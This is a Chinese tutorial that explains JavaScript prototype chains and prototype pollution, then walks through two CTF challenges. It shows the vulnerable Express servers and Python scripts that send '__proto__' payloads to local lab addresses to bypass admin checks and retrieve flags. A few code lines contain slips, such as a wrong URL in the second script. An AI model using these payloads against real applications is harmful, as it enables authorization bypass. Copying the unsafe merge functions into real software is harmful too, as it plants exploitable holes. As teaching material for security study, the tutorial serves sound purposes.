安全基础 --- 原型链污染

news2024/11/27 4:31:12

原型链

大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现

1、prototype 属性的作用

JavaScript 规定,每个函数都有一个prototype属性,指向一个对象

function f() {}
typeof f.prototype // "object"
函数`f`默认具有`prototype`属性,指向一个对象

js中类的建立

js 中,定义一个类,需以定义“构造函数”的方式来定义:

function Foo() {
    this.bar = 1;
}

new Foo();

解析:

Foo函数的内容,就是Foo类的构造函数,this.bar就表示Foo类中的一个属性

(为简化编写js的代码,ECmAScript6 后增加了class语法,但class其实只是一个语法塘)

js中的类中方法的建立

一个类中必然有一些方法,类似属性this.bar,也可将方法定义在构造函数内部

function Foo() {
    this.bar = 1;
    this.show = function() {
        console.log(this.bar);
    }
}

(new Foo()).show()  // 1

解析:

出现问题:新建Foo对象时,this.show = function()... 就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中

js中原型prototype的引用

在创建类时只创建一次show方法,需要使用原型(prototype)

function Foo() {
    this.bar = 1;
}

Foo.prototype.show = function show() {
    console.log(this.bar);
}

let foo = new Foo();
foo.show();

解析:

原型prototype是类Foo的一个属性,所有用Foo类实例化的对象,都有这个属性的所有内容,包括变量和方法。foo对象,天生具有foo.show()方法

此时Foo.prototype访问Foo类的原型,但是Foo实例化出来的对象,不能够通过prototype访问原型

2、__proto__

是 JavaScript 中一个对象的内部属性,它指向该对象的原型。原型是另一个对象,包含共享的属性和方法,对象可以通过原型继承这些属性和方法。

js 中__proto__的引用

一个 Foo 类实例化出来的 foo 对象,可通过foo.__proto__属性来访问Foo类中的原型

prototype和__proto__的定义

  1. prototype:一个类的属性,所有类对象在实例化的时候会拥有prototype中的属性和方法
  2. __proto__:一个对象的__proto__属性,指向这个对象所在的类的prototype属性

3、原型链继承

所有类对象在实例化的时候将会拥有 prototype 的属性和方法,这个特性被用来实现 js 中的继承机制

function Father() {
    this.first_name = 'Donald';
    this.last_name = 'Trump';
}

function Son() {
    this.first_name = 'Melania';
}

Son.prototype = new Father();

let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)
//  Name:Melania Trump

解析:

Son类继承了Father类的last_name属性

主要流程:

  1. 在对象son中寻找last_name
  2. 无法找出,则在son.__proto__中寻找last_name
  3. 如果仍然无法找到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到null结束。如:object.prototype的__proto__就是null

(js 中的这个查找机制,被运用在面向对象的继承中,被称为是prototype继承链)

PS:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. js 使用prototype链实现继承机制

4、原型链污染

实例:

foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值,就可修改Foo类?

// foo是一个简单的JavaScript对象
let foo = {bar:1};

// foo.bar此时为1
console.log(foo.bar);

// 修改foo的原型(即object)
foo.__proto__.bar = 2;

// 查找顺序原因,foo.bar仍然是1
console.log(foo.bar);

// 此时用objecr创建一个空的zoo对象
let zoo = {};

// 查看zoo.bar
console.log(zoo.bar);

解析:

修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2

后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了

原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染

哪些情况原型链会被污染?

哪些情况可以设置__proto__的值?找到能够控制数组(对象)的“键名”的操作即可:

使用megre测试

function merge (target,source) {
    for(let key in source) {
        if(key in source && key in target){
            merge(target[key],source[key]);
        }else{
            target[key] = source[key];
        }
    }
}

merge操作是最常见可能控制键名的操作,也最能被原型链攻击

在合并过程中,存在赋值的操作 target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

使用如下代码进行测试:

let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);

o3 = {};
console.log(o3.b);

结果:合并成功,原型链未被污染

解析:

js 创建 o2 的过程(let o2 = {a:2,"__proto__":{b:2}})中,__proto__代表o2的原型了,此时遍历o2的所有键名,拿到的是[a,b],__proto__并不是一个key,也不会修改object的原型

修改代码

let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);

o3 = {};
console.log(o3.b);

解析:

JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型,所以在遍历o2的时候存在这个键,

新建的o3对象,也存在b属性,说明object已被污染

实例

例1:hackit2018

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for now
 
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
 
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
 
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
 
app.get('/', (req, res) => {
 
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
 
    }
    res.render('index');
})
 
 
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
 
 
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
 
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
 
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
 
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
 
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
 
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

解析:

获取 flag 的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在;全文没有对user.afmintoken进行赋值,理论上这个值不存在,但存在以下赋值语句

matrix[client.row][client.col] = client.data;
其中data、row、col,都是post传入的值,都是可控的。所以可构造原型链污染

本地测试

payload:使用python传入参数

import requests
import json

url = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"

headers = {"Content-type": "application/json"}

data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}

res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的 
res2 = requests.get(url1)

print(res2.text)

运行结果:

例2:

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

解析:

分析题目,获取flag的条件是:admin.admin == 1,而 admin 本身是一个 object ,其admin 属性本身并不存在,且有敏感函数 merge

function merge(a, b) {    
    for (var attr in b) {        
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }    
return a;
}

// merge函数的作用是进行对象的合并,涉及到对象的赋值,键值可控,即可出发原型链污染

本地测试


显式为undefined,如下

创建字典时,__proto__不是作为键名,而是作为__proto__给其父类进行赋值,所以在test.__proto__中才有admin属性,目的是让__proto__作为键值,所以使用JSON.parse()


JSON.parse()会将json字符串转化为JavaScript中的object

此时创建类的时候就不会直接给父类赋值了 ,且题中也出现了JSON.parse

payload:使用python传入参数

import requests
import json

url1 = "http://192.168.174.123:3000/signup"
url2 = "http://192.168.174.123:3000/getflag"

s = requests.session()

headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

运行结果:

附:构造函数无return

function Person(name,age){
    this.name = name;
    this.age = age;
    // PS:没有显式的return语句
}

const person1 = new Person("ling",22);
console.log(person1); // output:Person(name:'ling',age:22)

在第一个实例中,Person 构造函数没有显式的 return 语句,因此 new Person("ling",20) 将隐式地返回新创建的 Person 对象实例,并赋值给 person1 变量

function AnotherPerson(name,age){
    this.name = name;
    this.age = age;
    return{message:"This is returned object."};
}

console.person2 = new AnotherPerson("Bob",25);
console.log(person2);// output:{message:'This is returned object.'}

第二个示例中,AnotherPerson 构造函数有一个显式的 return 语句,并返回了一个新的对象 {message:"This is a object."},在这种情况下,new AnotherPerson("Bob",25) 将返回一个新的对象,而不是创建的AnotherPerson对象实例。因此,person2 变量得到的是一个普通对象而不是AnotherPerson的实例。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/992911.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【云原生进阶之PaaS中间件】第一章Redis-1.4过期策略

1 设置带过期时间的 key # 时间复杂度&#xff1a;O&#xff08;1&#xff09;&#xff0c;最常用方式 expire key seconds# 字符串独有方式 setex(String key, int seconds, String value)除了string独有设置过期时间的方法&#xff0c;其他类型都需依靠expire方法设置时间&a…

高效数据湖构建与数据仓库融合:大规模数据架构最佳实践

文章目录 数据湖和数据仓库&#xff1a;两大不同理念数据湖数据仓库 数据湖与数据仓库的融合统一数据目录数据清洗和转换数据安全和权限控制数据分析和可视化 数据湖与数据仓库融合的优势未来趋势云原生数据湖自动化数据处理边缘计算与数据湖融合 结论 &#x1f389;欢迎来到云…

盲盒游戏的盈利原理

盲盒游戏&#xff0c;一种极具不确定性的娱乐方式&#xff0c;以其独特的魅力和盈利模式吸引了大量消费者和商家的关注。本文将从盲盒App的盈利模式、随机性、极低成本和超高复购率四个方面&#xff0c;深入剖析其盈利原理。 一、盈利模式 盲盒App的盈利模式主要是通过…

Kafka3.0.0版本——消费者(Range分区分配策略以及再平衡)

目录 一、Range分区分配策略原理1.1、Range分区分配策略原理的示例一1.2、Range分区分配策略原理的示例二1.3、Range分区分配策略原理的示例注意事项 二、Range 分区分配策略代码案例2.1、创建带有4个分区的fiveTopic主题2.2、创建三个消费者 组成 消费者组2.3、创建生产者2.4、…

学会用命令行创建uni-app项目并用vscode开放项目

(创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 目录 创建 uni-app 项目 命令行创建 uni-app 项目 编译和运行 uni-app 项目&#xff1a; 用 VS Code 开发 uni…

深入浅出学Verilog--基础语法

1、简介 Verilog的语法和C语言非常类似&#xff0c;相对来说还是非常好学的。和C语言一样&#xff0c;Verilog语句也是由一连串的令牌&#xff08;Token&#xff09;组成。1个令牌必须由1个或1个以上的字符&#xff08;character&#xff09;组成&#xff0c;令牌可以是&#x…

前端通过第三插件uuid 生成一个 uuid

有时候 后端会让我们自己生成一个uuid 我们没必要自己去写 直接用第三方插件就好了 先终端执行 npm install uuid这样 我们第三方插件就进来了 然后 引入一定要根据环境来 //TS环境引入 import { v4 as uuidv4 } from uuid; //js环境引入 const { v4: uuidv4 } require(uui…

Ubuntu 20.04出现蓝牙无法打开的问题(已解决)

安装Ubuntu20.04后&#xff0c;蓝牙无法打开&#xff0c;按钮开启后蓝牙仍处于关闭状态 解决方法&#xff08;四种方式&#xff09; 1.卸载并重新加载btusb内核模块&#xff08;支持蓝牙设备的内核模块&#xff09; sudo rmmod btusb sleep 1 sudo modprobe btusb2、安装蓝牙工…

OpenRoads Designer道路边坡渐变过渡之二点特征名称覆盖

点特征名称覆盖在模板内进行设置&#xff0c;因此使用点特征名称覆盖实现边坡外口连续适用于使用一个模板创建的一段道路&#xff08;廊道&#xff09;模型内出现的边坡开口线间断的情况&#xff0c;对于使用多个模板创建的一系列首尾相连的道路模型&#xff0c;在相邻模型间出…

性能测试中TPS上不去的几种原因

中TPS一直上不去&#xff0c;是什么原因&#xff1f; 这篇文章&#xff0c;就具体说说在实际压力测试中&#xff0c;为什么有时候TPS上不去的原因。 先来解释下什么叫TPS&#xff1a; TPS&#xff08;Transaction Per Second&#xff09;&#xff1a;每秒事务数&#xff0c;…

腾讯云学生专属便宜云服务器如何购买?

随着云计算技术的快速发展&#xff0c;越来越多的学生开始关注和使用云服务器。腾讯云作为国内知名的云计算服务提供商&#xff0c;推出了一系列针对学生的优惠活动&#xff0c;让更多学生能够享受到云服务器的便利和优势。本文将详细介绍如何购买腾讯云学生专属的便宜云服务器…

java 集成免费虹软人脸识别 SDK,实现人脸识别认证功能

系列文章目录 引入本地 jar 包教程&#xff1a; https://blog.csdn.net/demo_yo/article/details/132495029 文章目录 系列文章目录前言一、SDK 下载二、SDK 集成1、jar 依赖包2、dll 链接文件 三、API 集成1、yaml 配置2、Properties 配置类3、Factory 工厂类4、Service 服务…

类加载流程

文档链接&#xff1a; https://www.processon.com/view/link/64fc101a00a5c32bca7fe12e 访问密码&#xff1a;e3x8

亚马逊测评工作室怎么赚钱?

测评工作室的盈利方式主要来自于以下几种&#xff1a; 佣金&#xff1a;市场价基本上做免评单一单30、留评50单&#xff0c;会根据市场价实施波动&#xff0c;如果一个人今天做30单的留评单就是30单*501500元汇率差&#xff1a;即使用实时汇率进行结算时的差额&#xff0c;假设…

性能测试系列专题集合

下方查看历史精选文章 重磅发布 - 自动化框架基础指南pdfv1.1大数据测试过程、策略及挑战 测试框架原理&#xff0c;构建成功的基石 在自动化测试工作之前&#xff0c;你应该知道的10条建议 在自动化测试中&#xff0c;重要的不是工具 从终端用户感受来体验性能指标度量如何建立…

3000字详解!什么是护网行动?什么是红蓝对抗?

一、什么是护网行动&#xff1f; 护网行动是以公安部牵头的&#xff0c;用以评估企事业单位的网络安全的活动。 具体实践中。公安部会组织攻防两方&#xff0c;进攻方会在一个月内对防守方发动网络攻击&#xff0c;检测出防守方&#xff08;企事业单位&#xff09;存在的安全…

04_瑞萨GUI(LVGL)移植实战教程之驱动LCD屏(SPI)

本系列教程配套出有视频教程&#xff0c;观看地址&#xff1a;https://www.bilibili.com/video/BV1gV4y1e7Sg 4. 驱动LCD屏(SPI) 本次实验我们在上一次实验的基础上驱动 LCD屏(SPI)。 上次实验我们已经能驱动触摸屏(I2C)并打印触摸点坐标&#xff0c;这次实验我们的目标是点…

无涯教程-JavaScript - IMSINH函数

描述 MSINH函数以x yi或x yj文本格式返回复数的双曲正弦值。复数的双曲正弦通过以下公式计算- $$\sinh(x yi) \sinh(x)\cos(y)-\cosh(x)\sin(y)i $$ 语法 IMSINH (inumber)争论 Argument描述Required/OptionalInumberA complex number for which you want the hyperbol…

渗透测试流程是什么?7个步骤给你讲清楚!

在学习渗透测试之初&#xff0c;有必要先系统了解一下它的流程&#xff0c;静下心来阅读一下&#xff0c;树立一个全局观&#xff0c;一步一步去建设并完善自己的专业领域&#xff0c;最终实现从懵逼到牛逼的华丽转变。渗透测试是通过模拟恶意黑客的攻击方法&#xff0c;同时也…

python实现读取并显示图片的两种方法

前言 嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 在 python 中除了用 opencv&#xff0c;也可以用 matplotlib 和 PIL 这两个库操作图片。 本人偏爱 matpoltlib&#xff0c;因为它的语法更像 matlab。 &#x1f447; &#x1f447; &#x1f447; 更多精彩机密、教程&…